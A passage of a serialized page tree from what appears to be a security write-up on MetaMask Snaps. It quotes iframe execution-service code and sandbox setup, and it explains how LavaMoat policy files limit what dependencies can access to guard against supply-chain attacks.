`",{"type":21,"tag":198,"props":36757,"children":36758},{"style":249},[36759],{"type":27,"value":756},{"type":21,"tag":198,"props":36761,"children":36762},{"style":226},[36763],{"type":27,"value":36764},"controllerName",{"type":21,"tag":198,"props":36766,"children":36767},{"style":249},[36768],{"type":27,"value":779},{"type":21,"tag":198,"props":36770,"children":36771},{"style":205},[36772],{"type":27,"value":36773},":handleRpcRequest`",{"type":21,"tag":198,"props":36775,"children":36776},{"style":211},[36777],{"type":27,"value":257},{"type":21,"tag":198,"props":36779,"children":36780},{"class":200,"line":260},[36781,36786,36790,36795,36799,36804,36808,36813,36817,36822,36826],{"type":21,"tag":198,"props":36782,"children":36783},{"style":249},[36784],{"type":27,"value":36785}," async",{"type":21,"tag":198,"props":36787,"children":36788},{"style":211},[36789],{"type":27,"value":648},{"type":21,"tag":198,"props":36791,"children":36792},{"style":226},[36793],{"type":27,"value":36794},"snapId",{"type":21,"tag":198,"props":36796,"children":36797},{"style":683},[36798],{"type":27,"value":185},{"type":21,"tag":198,"props":36800,"children":36801},{"style":1966},[36802],{"type":27,"value":36803}," string",{"type":21,"tag":198,"props":36805,"children":36806},{"style":211},[36807],{"type":27,"value":828},{"type":21,"tag":198,"props":36809,"children":36810},{"style":226},[36811],{"type":27,"value":36812},"options",{"type":21,"tag":198,"props":36814,"children":36815},{"style":683},[36816],{"type":27,"value":185},{"type":21,"tag":198,"props":36818,"children":36819},{"style":1966},[36820],{"type":27,"value":36821}," SnapRpcHookArgs",{"type":21,"tag":198,"props":36823,"children":36824},{"style":211},[36825],{"type":27,"value":1541},{"type":21,"tag":198,"props":36827,"children":36828},{"style":249},[36829],{"type":27,"value":36830},"=>\n",{"type":21,"tag":198,"props":36832,"children":36833},{"class":200,"line":281},[36834,36839,36843,36848,36852,36856,36860,36864],{"type":21,"tag":198,"props":36835,"children":36836},{"style":249},[36837],{"type":27,"value":36838}," this",{"type":21,"tag":198,"props":36840,"children":36841},{"style":211},[36842],{"type":27,"value":658},{"type":21,"tag":198,"props":36844,"children":36845},{"style":698},[36846],{"type":27,"value":36847},"handleRpcRequest",{"type":21,"tag":198,"props":36849,"children":36850},{"style":211},[36851],{"type":27,"value":706},{"type":21,"tag":198,"props":36853,"children":36854},{"style":226},[36855],{"type":27,"value":36794},{"type":21,"tag":198,"props":36857,"children":36858},{"style":211},[36859],{"type":27,"value":828},{"type":21,"tag":198,"props":36861,"children":36862},{"style":226},[36863],{"type":27,"value":36812},{"type":21,"tag":198,"props":36865,"children":36866},{"style":211},[36867],{"type":27,"value":7548},{"type":21,"tag":198,"props":36869,"children":36870},{"class":200,"line":302},[36871],{"type":21,"tag":198,"props":36872,"children":36873},{"style":211},[36874],{"type":27,"value":1470},{"type":21,"tag":198,"props":36876,"children":36877},{"class":200,"line":323},[36878],{"type":21,"tag":198,"props":36879,"children":36880},{"emptyLinePlaceholder":16},[36881],{"type":27,"value":1283},{"type":21,"tag":198,"props":36883,"children":36884},{"class":200,"line":344},[36885],{"type":21,"tag":198,"props":36886,"children":36887},{"style":1233},[36888],{"type":27,"value":36889},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":21,"tag":198,"props":36891,"children":36892},{"class":200,"line":365},[36893],{"type":21,"tag":198,"props":36894,"children":36895},{"style":1233},[36896],{"type":27,"value":36409},{"type":21,"tag":198,"props":36898,"children":36899},{"class":200,"line":386},[36900],{"type":21,"tag":198,"props":36901,"children":36902},{"emptyLinePlaceholder":16},[36903],{"type":27,"value":1283},{"type":21,"tag":198,"props":36905,"children":36906},{"class":200,"line":408},[36907],{"type":21,"tag":198,"props":36908,"children":36909},{"style":1233},[36910],{"type":27,"value":36911},"// Execute a snap\n",{"type":21,"tag":198,"props":36913,"children":36914},{"class":200,"line":429},[36915,36920,36925,36929,36934,36938,36943],{"type":21,"tag":198,"props":36916,"children":36917},{"style":226},[36918],{"type":27,"value":36919},"async",{"type":21,"tag":198,"props":36921,"children":36922},{"style":698},[36923],{"type":27,"value":36924}," executeSnap",{"type":21,"tag":198,"props":36926,"children":36927},{"style":211},[36928],{"type":27,"value":706},{"type":21,"tag":198,"props":36930,"children":36931},{"style":226},[36932],{"type":27,"value":36933},"snapData",{"type":21,"tag":198,"props":36935,"children":36936},{"style":211},[36937],{"type":27,"value":16136},{"type":21,"tag":198,"props":36939,"children":36940},{"style":226},[36941],{"type":27,"value":36942},"SnapExecutionData",{"type":21,"tag":198,"props":36944,"children":36945},{"style":211},[36946],{"type":27,"value":668},{"type":21,"tag":198,"props":36948,"children":36949},{"class":200,"line":450},[36950],{"type":21,"tag":198,"props":36951,"children":36952},{"style":1233},[36953],{"type":27,"value":36954}," // Initialize job, streams, and environment\n",{"type":21,"tag":198,"props":36956,"children":36957},{"class":200,"line":468},[36958,36962,36966,36971,36975,36979,36984,36988,36992,36997,37001,37005],{"type":21,"tag":198,"props":36959,"children":36960},{"style":249},[36961],{"type":27,"value":969},{"type":21,"tag":198,"props":36963,"children":36964},{"style":211},[36965],{"type":27,"value":1891},{"type":21,"tag":198,"props":36967,"children":36968},{"style":226},[36969],{"type":27,"value":36970},"jobId",{"type":21,"tag":198,"props":36972,"children":36973},{"style":211},[36974],{"type":27,"value":1257},{"type":21,"tag":198,"props":36976,"children":36977},{"style":683},[36978],{"type":27,"value":3174},{"type":21,"tag":198,"props":36980,"children":36981},{"style":640},[36982],{"type":27,"value":36983}," await",{"type":21,"tag":198,"props":36985,"children":36986},{"style":249},[36987],{"type":27,"value":36490},{"type":21,"tag":198,"props":36989,"children":36990},{"style":211},[36991],{"type":27,"value":658},{"type":21,"tag":198,"props":36993,"children":36994},{"style":698},[36995],{"type":27,"value":36996},"initJob",{"type":21,"tag":198,"props":36998,"children":36999},{"style":211},[37000],{"type":27,"value":706},{"type":21,"tag":198,"props":37002,"children":37003},{"style":226},[37004],{"type":27,"value":36933},{"type":21,"tag":198,"props":37006,"children":37007},{"style":211},[37008],{"type":27,"value":1470},{"type":21,"tag":198,"props":37010,"children":37011},{"class":200,"line":477},[37012,37016,37020,37025,37029,37034,37038,37042,37046,37050,37054,37059,37063,37067],{"type":21,"tag":198,"props":37013,"children":37014},{"style":249},[37015],{"type":27,"value":969},{"type":21,"tag":198,"props":37017,"children":37018},{"style":211},[37019],{"type":27,"value":1891},{"type":21,"tag":198,"props":37021,"children":37022},{"style":226},[37023],{"type":27,"value":37024},"worker",{"type":21,"tag":198,"props":37026,"children":37027},{"style":211},[37028],{"type":27,"value":828},{"type":21,"tag":198,"props":37030,"children":37031},{"style":226},[37032],{"type":27,"value":37033},"stream",{"type":21,"tag":198,"props":37035,"children":37036},{"style":211},[37037],{"type":27,"value":1257},{"type":21,"tag":198,"props":37039,"children":37040},{"style":683},[37041],{"type":27,"value":3174},{"type":21,"tag":198,"props":37043,"children":37044},{"style":640},[37045],{"type":27,"value":36983},{"type":21,"tag":198,"props":37047,"children":37048},{"style":249},[37049],{"type":27,"value":36490},{"type":21,"tag":198,"props":37051,"children":37052},{"style":211},[37053],{"type":27,"value":658},{"type":21,"tag":198,"props":37055,"children":37056},{"style":698},[37057],{"type":27,"value":37058},"initEnvStream",{"type":21,"tag":198,"props":37060,"children":37061},{"style":211},[37062],{"type":27,"value":706},{"type":21,"tag":198,"props":37064,"children":37065},{"style":226},[37066],{"type":27,"value":36970},{"type":21,"tag":198,"props":37068,"children":37069},{"style":211},[37070],{"type":27,"value":1470},{"type":21,"tag":198,"props":37072,"children":37073},{"class":200,"line":494},[37074],{"type":21,"tag":198,"props":37075,"children":37076},{"style":1233},[37077],{"type":27,"value":37078}," // ...\n",{"type":21,"tag":198,"props":37080,"children":37081},{"class":200,"line":515},[37082],{"type":21,"tag":198,"props":37083,"children":37084},{"style":211},[37085],{"type":27,"value":1120},{"type":21,"tag":30,"props":37087,"children":37088},{},[37089,37090,37095,37097,37103],{"type":27,"value":534},{"type":21,"tag":194,"props":37091,"children":37093},{"className":37092},[],[37094],{"type":27,"value":36667},{"type":27,"value":37096}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":21,"tag":194,"props":37098,"children":37100},{"className":37099},[],[37101],{"type":27,"value":37102},"${controllerName}:executeSnap",{"type":27,"value":37104}," handler triggers the snap execution process.",{"type":21,"tag":162,"props":37106,"children":37108},{"id":37107},"step-by-step-execution-from-initialization-to-iframe-creation",[37109,37111],{"type":27,"value":37110},"Step-by-Step Execution: From Initialization to iFrame ",{"type":21,"tag":34,"props":37112,"children":37115},{"href":37113,"rel":37114},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[38],[37116],{"type":27,"value":37117},"creation",{"type":21,"tag":187,"props":37119,"children":37121},{"className":36704,"code":37120,"language":36706,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[37122],{"type":21,"tag":194,"props":37123,"children":37124},{"__ignoreMap":7},[37125,37174,37195,37216,37224,37288,37295,37323,37340,37357,37374,37391,37398,37405,37429],{"type":21,"tag":198,"props":37126,"children":37127},{"class":200,"line":201},[37128,37133,37138,37143,37147,37151,37155,37159,37164,37169],{"type":21,"tag":198,"props":37129,"children":37130},{"style":226},[37131],{"type":27,"value":37132},"protected",{"type":21,"tag":198,"props":37134,"children":37135},{"style":226},[37136],{"type":27,"value":37137}," async",{"type":21,"tag":198,"props":37139,"children":37140},{"style":698},[37141],{"type":27,"value":37142}," initEnvStream",{"type":21,"tag":198,"props":37144,"children":37145},{"style":211},[37146],{"type":27,"value":706},{"type":21,"tag":198,"props":37148,"children":37149},{"style":226},[37150],{"type":27,"value":36970},{"type":21,"tag":198,"props":37152,"children":37153},{"style":211},[37154],{"type":27,"value":16136},{"type":21,"tag":198,"props":37156,"children":37157},{"style":226},[37158],{"type":27,"value":30467},{"type":21,"tag":198,"props":37160,"children":37161},{"style":211},[37162],{"type":27,"value":37163},"): ",{"type":21,"tag":198,"props":37165,"children":37166},{"style":1966},[37167],{"type":27,"value":37168},"Promise",{"type":21,"tag":198,"props":37170,"children":37171},{"style":211},[37172],{"type":27,"value":37173},"\u003C{\n",{"type":21,"tag":198,"props":37175,"children":37176},{"class":200,"line":217},[37177,37182,37186,37191],{"type":21,"tag":198,"props":37178,"children":37179},{"style":226},[37180],{"type":27,"value":37181}," worker",{"type":21,"tag":198,"props":37183,"children":37184},{"style":683},[37185],{"type":27,"value":185},{"type":21,"tag":198,"props":37187,"children":37188},{"style":1966},[37189],{"type":27,"value":37190}," Window",{"type":21,"tag":198,"props":37192,"children":37193},{"style":211},[37194],{"type":27,"value":1483},{"type":21,"tag":198,"props":37196,"children":37197},{"class":200,"line":236},[37198,37203,37207,37212],{"type":21,"tag":198,"props":37199,"children":37200},{"style":226},[37201],{"type":27,"value":37202}," stream",{"type":21,"tag":198,"props":37204,"children":37205},{"style":683},[37206],{"type":27,"value":185},{"type":21,"tag":198,"props":37208,"children":37209},{"style":1966},[37210],{"type":27,"value":37211}," BasePostMessageStream",{"type":21,"tag":198,"props":37213,"children":37214},{"style":211},[37215],{"type":27,"value":1483},{"type":21,"tag":198,"props":37217,"children":37218},{"class":200,"line":260},[37219],{"type":21,"tag":198,"props":37220,"children":37221},{"style":211},[37222],{"type":27,"value":37223}," }> {\n",{"type":21,"tag":198,"props":37225,"children":37226},{"class":200,"line":281},[37227,37232,37237,37241,37245,37250,37254,37258,37262,37267,37271,37276,37280,37284],{"type":21,"tag":198,"props":37228,"children":37229},{"style":211},[37230],{"type":27,"value":37231}," const ",{"type":21,"tag":198,"props":37233,"children":37234},{"style":226},[37235],{"type":27,"value":37236},"iframeWindow",{"type":21,"tag":198,"props":37238,"children":37239},{"style":683},[37240],{"type":27,"value":979},{"type":21,"tag":198,"props":37242,"children":37243},{"style":640},[37244],{"type":27,"value":36983},{"type":21,"tag":198,"props":37246,"children":37247},{"style":698},[37248],{"type":27,"value":37249}," createWindow",{"type":21,"tag":198,"props":37251,"children":37252},{"style":211},[37253],{"type":27,"value":706},{"type":21,"tag":198,"props":37255,"children":37256},{"style":249},[37257],{"type":27,"value":18495},{"type":21,"tag":198,"props":37259,"children":37260},{"style":211},[37261],{"type":27,"value":658},{"type":21,"tag":198,"props":37263,"children":37264},{"style":226},[37265],{"type":27,"value":37266},"iframeUrl",{"type":21,"tag":198,"props":37268,"children":37269},{"style":211},[37270],{"type":27,"value":658},{"type":21,"tag":198,"props":37272,"children":37273},{"style":698},[37274],{"type":27,"value":37275},"toString",{"type":21,"tag":198,"props":37277,"children":37278},{"style":211},[37279],{"type":27,"value":19178},{"type":21,"tag":198,"props":37281,"children":37282},{"style":226},[37283],{"type":27,"value":36970},{"type":21,"tag":198,"props":37285,"children":37286},{"style":211},[37287],{"type":27,"value":1470},{"type":21,"tag":198,"props":37289,"children":37290},{"class":200,"line":302},[37291],{"type":21,"tag":198,"props":37292,"children":37293},{"emptyLinePlaceholder":16},[37294],{"type":27,"value":1283},{"type":21,"tag":198,"props":37296,"children":37297},{"class":200,"line":323},[37298,37302,37306,37310,37314,37319],{"type":21,"tag":198,"props":37299,"children":37300},{"style":211},[37301],{"type":27,"value":37231},{"type":21,"tag":198,"props":37303,"children":37304},{"style":226},[37305],{"type":27,"value":37033},{"type":21,"tag":198,"props":37307,"children":37308},{"style":683},[37309],{"type":27,"value":979},{"type":21,"tag":198,"props":37311,"children":37312},{"style":249},[37313],{"type":27,"value":737},{"type":21,"tag":198,"props":37315,"children":37316},{"style":698},[37317],{"type":27,"value":37318}," WindowPostMessageStream",{"type":21,"tag":198,"props":37320,"children":37321},{"style":211},[37322],{"type":27,"value":15945},{"type":21,"tag":198,"props":37324,"children":37325},{"class":200,"line":344},[37326,37331,37336],{"type":21,"tag":198,"props":37327,"children":37328},{"style":226},[37329],{"type":27,"value":37330}," name:",{"type":21,"tag":198,"props":37332,"children":37333},{"style":205},[37334],{"type":27,"value":37335}," 'parent'",{"type":21,"tag":198,"props":37337,"children":37338},{"style":211},[37339],{"type":27,"value":257},{"type":21,"tag":198,"props":37341,"children":37342},{"class":200,"line":365},[37343,37348,37353],{"type":21,"tag":198,"props":37344,"children":37345},{"style":226},[37346],{"type":27,"value":37347}," target:",{"type":21,"tag":198,"props":37349,"children":37350},{"style":205},[37351],{"type":27,"value":37352}," 'child'",{"type":21,"tag":198,"props":37354,"children":37355},{"style":211},[37356],{"type":27,"value":257},{"type":21,"tag":198,"props":37358,"children":37359},{"class":200,"line":386},[37360,37365,37370],{"type":21,"tag":198,"props":37361,"children":37362},{"style":226},[37363],{"type":27,"value":37364}," targetWindow:",{"type":21,"tag":198,"props":37366,"children":37367},{"style":226},[37368],{"type":27,"value":37369}," iframeWindow",{"type":21,"tag":198,"props":37371,"children":37372},{"style":211},[37373],{"type":27,"value":257},{"type":21,"tag":198,"props":37375,"children":37376},{"class":200,"line":408},[37377,37382,37387],{"type":21,"tag":198,"props":37378,"children":37379},{"style":226},[37380],{"type":27,"value":37381}," targetOrigin:",{"type":21,"tag":198,"props":37383,"children":37384},{"style":205},[37385],{"type":27,"value":37386}," '*'",{"type":21,"tag":198,"props":37388,"children":37389},{"style":211},[37390],{"type":27,"value":257},{"type":21,"tag":198,"props":37392,"children":37393},{"class":200,"line":429},[37394],{"type":21,"tag":198,"props":37395,"children":37396},{"style":211},[37397],{"type":27,"value":33043},{"type":21,"tag":198,"props":37399,"children":37400},{"class":200,"line":450},[37401],{"type":21,"tag":198,"props":37402,"children":37403},{"emptyLinePlaceholder":16},[37404],{"type":27,"value":1283},{"type":21,"tag":198,"props":37406,"children":37407},{"class":200,"line":468},[37408,37413,37417,37421,37425],{"type":21,"tag":198,"props":37409,"children":37410},{"style":211},[37411],{"type":27,"value":37412}," return { worker: ",{"type":21,"tag":198,"props":37414,"children":37415},{"style":226},[37416],{"type":27,"value":37236},{"type":21,"tag":198,"props":37418,"children":37419},{"style":211},[37420],{"type":27,"value":828},{"type":21,"tag":198,"props":37422,"children":37423},{"style":226},[37424],{"type":27,"value":37033},{"type":21,"tag":198,"props":37426,"children":37427},{"style":211},[37428],{"type":27,"value":19102},{"type":21,"tag":198,"props":37430,"children":37431},{"class":200,"line":477},[37432],{"type":21,"tag":198,"props":37433,"children":37434},{"style":211},[37435],{"type":27,"value":2249},{"type":21,"tag":30,"props":37437,"children":37438},{},[37439,37441,37447,37449,37456],{"type":27,"value":37440},"Here the iframe is created via ",{"type":21,"tag":194,"props":37442,"children":37444},{"className":37443},[],[37445],{"type":27,"value":37446},"createWindow",{"type":27,"value":37448},", which is defined in snaps-utils ",{"type":21,"tag":34,"props":37450,"children":37453},{"href":37451,"rel":37452},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[38],[37454],{"type":27,"value":37455},"package",{"type":27,"value":185},{"type":21,"tag":187,"props":37458,"children":37460},{"className":36704,"code":37459,"language":36706,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[37461],{"type":21,"tag":194,"props":37462,"children":37463},{"__ignoreMap":7},[37464,37506,37544,37581,37588,37608,37646,37653,37690],{"type":21,"tag":198,"props":37465,"children":37466},{"class":200,"line":201},[37467,37471,37476,37480,37485,37489,37494,37498,37502],{"type":21,"tag":198,"props":37468,"children":37469},{"style":249},[37470],{"type":27,"value":2648},{"type":21,"tag":198,"props":37472,"children":37473},{"style":226},[37474],{"type":27,"value":37475}," iframe",{"type":21,"tag":198,"props":37477,"children":37478},{"style":683},[37479],{"type":27,"value":979},{"type":21,"tag":198,"props":37481,"children":37482},{"style":226},[37483],{"type":27,"value":37484}," document",{"type":21,"tag":198,"props":37486,"children":37487},{"style":211},[37488],{"type":27,"value":658},{"type":21,"tag":198,"props":37490,"children":37491},{"style":698},[37492],{"type":27,"value":37493},"createElement",{"type":21,"tag":198,"props":37495,"children":37496},{"style":211},[37497],{"type":27,"value":706},{"type":21,"tag":198,"props":37499,"children":37500},{"style":205},[37501],{"type":27,"value":3472},{"type":21,"tag":198,"props":37503,"children":37504},{"style":211},[37505],{"type":27,"value":1470},{"type":21,"tag":198,"props":37507,"children":37508},{"class":200,"line":217},[37509,37514,37518,37523,37527,37532,37536,37540],{"type":21,"tag":198,"props":37510,"children":37511},{"style":226},[37512],{"type":27,"value":37513}," iframe",{"type":21,"tag":198,"props":37515,"children":37516},{"style":211},[37517],{"type":27,"value":658},{"type":21,"tag":198,"props":37519,"children":37520},{"style":698},[37521],{"type":27,"value":37522},"setAttribute",{"type":21,"tag":198,"props":37524,"children":37525},{"style":211},[37526],{"type":27,"value":706},{"type":21,"tag":198,"props":37528,"children":37529},{"style":205},[37530],{"type":27,"value":37531},"'id'",{"type":21,"tag":198,"props":37533,"children":37534},{"style":211},[37535],{"type":27,"value":828},{"type":21,"tag":198,"props":37537,"children":37538},{"style":226},[37539],{"type":27,"value":4291},{"type":21,"tag":198,"props":37541,"children":37542},{"style":211},[37543],{"type":27,"value":1470},{"type":21,"tag":198,"props":37545,"children":37546},{"class":200,"line":236},[37547,37551,37555,37559,37563,37568,37572,37577],{"type":21,"tag":198,"props":37548,"children":37549},{"style":226},[37550],{"type":27,"value":37513},{"type":21,"tag":198,"props":37552,"children":37553},{"style":211},[37554],{"type":27,"value":658},{"type":21,"tag":198,"props":37556,"children":37557},{"style":698},[37558],{"type":27,"value":37522},{"type":21,"tag":198,"props":37560,"children":37561},{"style":211},[37562],{"type":27,"value":706},{"type":21,"tag":198,"props":37564,"children":37565},{"style":205},[37566],{"type":27,"value":37567},"'data-testid'",{"type":21,"tag":198,"props":37569,"children":37570},{"style":211},[37571],{"type":27,"value":828},{"type":21,"tag":198,"props":37573,"children":37574},{"style":205},[37575],{"type":27,"value":37576},"'snaps-iframe'",{"type":21,"tag":198,"props":37578,"children":37579},{"style":211},[37580],{"type":27,"value":1470},{"type":21,"tag":198,"props":37582,"children":37583},{"class":200,"line":260},[37584],{"type":21,"tag":198,"props":37585,"children":37586},{"emptyLinePlaceholder":16},[37587],{"type":27,"value":1283},{"type":21,"tag":198,"props":37589,"children":37590},{"class":200,"line":281},[37591,37595,37599,37604],{"type":21,"tag":198,"props":37592,"children":37593},{"style":640},[37594],{"type":27,"value":643},{"type":21,"tag":198,"props":37596,"children":37597},{"style":211},[37598],{"type":27,"value":648},{"type":21,"tag":198,"props":37600,"children":37601},{"style":226},[37602],{"type":27,"value":37603},"sandbox",{"type":21,"tag":198,"props":37605,"children":37606},{"style":211},[37607],{"type":27,"value":668},{"type":21,"tag":198,"props":37609,"children":37610},{"class":200,"line":302},[37611,37616,37620,37624,37628,37633,37637,37642],{"type":21,"tag":198,"props":37612,"children":37613},{"style":226},[37614],{"type":27,"value":37615}," iframe",{"type":21,"tag":198,"props":37617,"children":37618},{"style":211},[37619],{"type":27,"value":658},{"type":21,"tag":198,"props":37621,"children":37622},{"style":698},[37623],{"type":27,"value":37522},{"type":21,"tag":198,"props":37625,"children":37626},{"style":211},[37627],{"type":27,"value":706},{"type":21,"tag":198,"props":37629,"children":37630},{"style":205},[37631],{"type":27,"value":37632},"'sandbox'",{"type":21,"tag":198,"props":37634,"children":37635},{"style":211},[37636],{"type":27,"value":828},{"type":21,"tag":198,"props":37638,"children":37639},{"style":205},[37640],{"type":27,"value":37641},"'allow-scripts'",{"type":21,"tag":198,"props":37643,"children":37644},{"style":211},[37645],{"type":27,"value":1470},{"type":21,"tag":198,"props":37647,"children":37648},{"class":200,"line":323},[37649],{"type":21,"tag":198,"props":37650,"children":37651},{"style":211},[37652],{"type":27,"value":880},{"type":21,"tag":198,"props":37654,"children":37655},{"class":200,"line":344},[37656,37660,37664,37668,37672,37677,37681,37686],{"type":21,"tag":198,"props":37657,"children":37658},{"style":226},[37659],{"type":27,"value":37513},{"type":21,"tag":198,"props":37661,"children":37662},{"style":211},[37663],{"type":27,"value":658},{"type":21,"tag":198,"props":37665,"children":37666},{"style":698},[37667],{"type":27,"value":37522},{"type":21,"tag":198,"props":37669,"children":37670},{"style":211},[37671],{"type":27,"value":706},{"type":21,"tag":198,"props":37673,"children":37674},{"style":205},[37675],{"type":27,"value":37676},"'src'",{"type":21,"tag":198,"props":37678,"children":37679},{"style":211},[37680],{"type":27,"value":828},{"type":21,"tag":198,"props":37682,"children":37683},{"style":226},[37684],{"type":27,"value":37685},"uri",{"type":21,"tag":198,"props":37687,"children":37688},{"style":211},[37689],{"type":27,"value":1470},{"type":21,"tag":198,"props":37691,"children":37692},{"class":200,"line":365},[37693,37697,37701,37705,37709,37714,37718,37723],{"type":21,"tag":198,"props":37694,"children":37695},{"style":226},[37696],{"type":27,"value":35450},{"type":21,"tag":198,"props":37698,"children":37699},{"style":211},[37700],{"type":27,"value":658},{"type":21,"tag":198,"props":37702,"children":37703},{"style":226},[37704],{"type":27,"value":3342},{"type":21,"tag":198,"props":37706,"children":37707},{"style":211},[37708],{"type":27,"value":658},{"type":21,"tag":198,"props":37710,"children":37711},{"style":698},[37712],{"type":27,"value":37713},"appendChild",{"type":21,"tag":198,"props":37715,"children":37716},{"style":211},[37717],{"type":27,"value":706},{"type":21,"tag":198,"props":37719,"children":37720},{"style":226},[37721],{"type":27,"value":37722},"iframe",{"type":21,"tag":198,"props":37724,"children":37725},{"style":211},[37726],{"type":27,"value":1470},{"type":21,"tag":30,"props":37728,"children":37729},{},[37730],{"type":27,"value":37731},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":21,"tag":59,"props":37733,"children":37735},{"id":37734},"lavamoat-against-supply-chain-attacks-layer-2",[37736],{"type":27,"value":37737},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":21,"tag":30,"props":37739,"children":37740},{},[37741],{"type":27,"value":37742},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":21,"tag":30,"props":37744,"children":37745},{},[37746,37748,37754],{"type":27,"value":37747},"Malicious dependencies might utilize built-in modules like ",{"type":21,"tag":194,"props":37749,"children":37751},{"className":37750},[],[37752],{"type":27,"value":37753},"fs",{"type":27,"value":37755},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":21,"tag":30,"props":37757,"children":37758},{},[37759],{"type":27,"value":37760},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":21,"tag":30,"props":37762,"children":37763},{},[37764,37766,37773],{"type":27,"value":37765},"This is how a Policy file related to the iframes ",{"type":21,"tag":34,"props":37767,"children":37770},{"href":37768,"rel":37769},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[38],[37771],{"type":27,"value":37772},"looks",{"type":27,"value":185},{"type":21,"tag":187,"props":37775,"children":37777},{"className":34775,"code":37776,"language":2119,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[37778],{"type":21,"tag":194,"props":37779,"children":37780},{"__ignoreMap":7},[37781,37793,37804,37824,37844,37863,37883,37903,37923,37943,37959,37966,37977,37997,38013,38020],{"type":21,"tag":198,"props":37782,"children":37783},{"class":200,"line":201},[37784,37789],{"type":21,"tag":198,"props":37785,"children":37786},{"style":205},[37787],{"type":27,"value":37788},"\"@metamask/post-message-stream\"",{"type":21,"tag":198,"props":37790,"children":37791},{"style":211},[37792],{"type":27,"value":214},{"type":21,"tag":198,"props":37794,"children":37795},{"class":200,"line":217},[37796,37800],{"type":21,"tag":198,"props":37797,"children":37798},{"style":226},[37799],{"type":27,"value":223},{"type":21,"tag":198,"props":37801,"children":37802},{"style":211},[37803],{"type":27,"value":214},{"type":21,"tag":198,"props":37805,"children":37806},{"class":200,"line":236},[37807,37812,37816,37820],{"type":21,"tag":198,"props":37808,"children":37809},{"style":226},[37810],{"type":27,"value":37811}," \"MessageEvent.prototype\"",{"type":21,"tag":198,"props":37813,"children":37814},{"style":211},[37815],{"type":27,"value":16136},{"type":21,"tag":198,"props":37817,"children":37818},{"style":249},[37819],{"type":27,"value":4806},{"type":21,"tag":198,"props":37821,"children":37822},{"style":211},[37823],{"type":27,"value":257},{"type":21,"tag":198,"props":37825,"children":37826},{"class":200,"line":260},[37827,37832,37836,37840],{"type":21,"tag":198,"props":37828,"children":37829},{"style":226},[37830],{"type":27,"value":37831}," \"WorkerGlobalScope\"",{"type":21,"tag":198,"props":37833,"children":37834},{"style":211},[37835],{"type":27,"value":16136},{"type":21,"tag":198,"props":37837,"children":37838},{"style":249},[37839],{"type":27,"value":4806},{"type":21,"tag":198,"props":37841,"children":37842},{"style":211},[37843],{"type":27,"value":257},{"type":21,"tag":198,"props":37845,"children":37846},{"class":200,"line":281},[37847,37851,37855,37859],{"type":21,"tag":198,"props":37848,"children":37849},{"style":226},[37850],{"type":27,"value":266},{"type":21,"tag":198,"props":37852,"children":37853},{"style":211},[37854],{"type":27,"value":16136},{"type":21,"tag":198,"props":37856,"children":37857},{"style":249},[37858],{"type":27,"value":4806},{"type":21,"tag":198,"props":37860,"children":37861},{"style":211},[37862],{"type":27,"value":257},{"type":21,"tag":198,"props":37864,"children":37865},{"class":200,"line":302},[37866,37871,37875,37879],{"type":21,"tag":198,"props":37867,"children":37868},{"style":226},[37869],{"type":27,"value":37870}," \"browser\"",{"type":21,"tag":198,"props":37872,"children":37873},{"style":211},[37874],{"type":27,"value":16136},{"type":21,"tag":198,"props":37876,"children":37877},{"style":249},[37878],{"type":27,"value":4806},{"type":21,"tag":198,"props":37880,"children":37881},{"style":211},[37882],{"type":27,"value":257},{"type":21,"tag":198,"props":37884,"children":37885},{"class":200,"line":323},[37886,37891,37895,37899],{"type":21,"tag":198,"props":37887,"children":37888},{"style":226},[37889],{"type":27,"value":37890}," \"chrome\"",{"type":21,"tag":198,"props":37892,"children":37893},{"style":211},[37894],{"type":27,"value":16136},{"type":21,"tag":198,"props":37896,"children":37897},{"style":249},[37898],{"type":27,"value":4806},{"type":21,"tag":198,"props":37900,"children":37901},{"style":211},[37902],{"type":27,"value":257},{"type":21,"tag":198,"props":37904,"children":37905},{"class":200,"line":344},[37906,37911,37915,37919],{"type":21,"tag":198,"props":37907,"children":37908},{"style":226},[37909],{"type":27,"value":37910}," 